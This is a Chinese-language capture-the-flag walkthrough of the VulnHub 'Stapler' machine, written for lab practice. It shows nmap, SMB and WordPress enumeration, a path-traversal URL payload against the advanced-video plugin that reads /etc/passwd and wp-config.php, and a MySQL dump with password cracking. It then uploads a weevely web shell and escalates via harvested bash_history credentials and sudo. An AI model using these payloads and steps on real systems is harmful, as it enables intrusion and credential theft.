VulnHub-Stapler

vulnhub-Stapler

靶机地址:https://download.vulnhub.com/stapler/Stapler.zip

目标:获得root权限且找到flag.txt

作者:尼德霍格007

时间:2021/7/28

一、信息收集

nmap扫描靶机ip地址

nmap -sP 192.168.21.0/24

VulnHub-Stapler

可以看到靶机地址是192.168.21.146,192.168.21.128是我kali机的IP地址

扫描开放端口

nmap -A -p 1-10000 192.168.21.146

VulnHub-Stapler

扫描发现开放了许多端口,依次尝试每个端口获取信息

这是FTP匿名登录获得的内容

VulnHub-Stapler

获得Elly和John两个用户名

ssh登陆

没有密码,登陆失败

VulnHub-Stapler

12380(http服务)可以访问,

VulnHub-Stapler

源码中有个zoe用户

VulnHub-Stapler

139端口有个samba服务

VulnHub-Stapler

这里我们可以通过enum4linux命令扫描Samba服务器

Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。

enum4linux 192.168.56.101 >dayu.out

VulnHub-Stapler

这里有两个活跃用户kathy和tmp

VulnHub-Stapler

连接到kathy共享

smbclient //fred/kathy -I 192.168.21.146 -N

VulnHub-Stapler

发现了几个文件,下载下来

VulnHub-Stapler

继续访问tmp

smbclient //fred/tmp -I 192.168.21.146 -N

VulnHub-Stapler

有个ls文件,也下载下来

查看下载下来的文件

VulnHub-Stapler

后面几个也看了看,没什么有用信息,换个思路吧

运行nikto查看下刚才获得的网站信息

nikto -h 192.168.21.146:12380

VulnHub-Stapler

网站使用了ssl且发现了3个目录,使用https访问

VulnHub-Stapler

VulnHub-Stapler

VulnHub-Stapler

blogblog目录是一个wprdpress页面,wpscan扫描

wpscan --url https://192.168.21.146:12380/blogblog/ --disable-tls-checks
  • –disable-tls-checks #禁用SSL/TLS证书验证。

发现了文件上传的目录以及wordpress版本是4.2.1

VulnHub-Stapler

访问这个上传目录

https://192.168.21.146:12380/blogblog/wp-content/uploads/

VulnHub-Stapler

在plugins目录发现了advanced-video

搜索能用的exp

searchsploit advanced video

VulnHub-Stapler

copy到桌面

VulnHub-Stapler

来分析一下这个exp

VulnHub-Stapler

看到这个poc,学着来构造一个url

https://192.168.21.146:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=…/…/…/…/…/…/…/…/…/etc/passwd

VulnHub-Stapler

返回一个url,访问

VulnHub-Stapler

点击home之后会在https://192.168.21.146:12380/blogblog/wp-content/uploads/中生成个jpeg文件,下载下来

我这里有三个,都下载下来

wget  --no-check-certificate https://192.168.21.146:12380/blogblog/wp-content/uploads/*图片名称*

VulnHub-Stapler

cat查看才发现这三个内容都是一样的

VulnHub-Stapler

试着看一下wordperss的wp-config.php配置文件

分析前面我们在共享文件夹中得到的备份wordpress-4.tar.gz目录,我们利用的admin-ajax.php文件应该在wp-admin目录下,而wp-config.php应该和wp-admin目录在一个目录下,所有我们构造出的url是:
https://192.168.21.146:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=…/wp-config.php

VulnHub-Stapler

访问这个url

VulnHub-Stapler

点击返回的连接

VulnHub-Stapler

点击home

回到之前的目录https://192.168.21.146:12380/blogblog/wp-content/uploads/

VulnHub-Stapler

发现多了一个,下载下来查看

VulnHub-Stapler

得到了mysql的root密码plbkac

登陆mysql

mysql -h 192.168.21.146 -u root -pplbkac 

VulnHub-Stapler

VulnHub-Stapler

选择wordpress数据库–>列出数据表–>列出wp_users表中的所有数据

把得到的用户密码考出放到文本

新建空文档,把数据全部复制进去

VulnHub-Stapler

使用命令

awk -F '|' '{print $4}' nide.txt

筛选出user_pass的值,保存下来

VulnHub-Stapler

VulnHub-Stapler

使用john工具破解密码

john nide2.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到了john用户的密码incorrect

VulnHub-Stapler

登陆wordpress后台:https://192.168.21.146:12380/blogblog/wp-login.php

VulnHub-Stapler

二、get shell

在plugins这里有个可以上传文件的地方

VulnHub-Stapler

使用weevely生成上传木马,之后上传木马,我这里设置了密码nide

VulnHub-Stapler

在uploads文件目录看我们上次的木马

https://192.168.21.146:12380/blogblog/wp-content/uploads/

VulnHub-Stapler

我这里手抖多上传了一次

weevely连接木马

weevely https://192.168.21.146:12380/blogblog/wp-content/uploads/back.php nide

VulnHub-Stapler

运行uname -a,发现内核版本为4.4.0

VulnHub-Stapler

三、提权

这里我们先查看home目录下全部用户执行过的历史命令

cat */.bash_history

VulnHub-Stapler

有两条ssh登陆记录

我们试着登陆一下JKanode

VulnHub-Stapler

不能用sudo提权。换Peter试试

VulnHub-Stapler

peter用户可以使用sudo

直接sudo su root切换root用户

VulnHub-Stapler

得到flag

b6b545dc11b7a270f4bad23432190c75162c4a2b

还有一种方法是使用EXPLOIT DATABASE(https://www.exploit-db.com/)中的39772.c上传到靶机运行来提权,我试了一下没有成功,我看网上有大佬成功了,有机会可以再试试。

四、总结

这次漏洞复现不算特别难,主要是前面的信息收集部分获取到的信息多而杂,需要从中找出有用的信息,之后就是正常的传马、取shell和提权。

上一篇:jq命令


下一篇:DM8 达梦 共享存储数据库集群DMDSC 数据库数据守护DM Data Watch(2+2)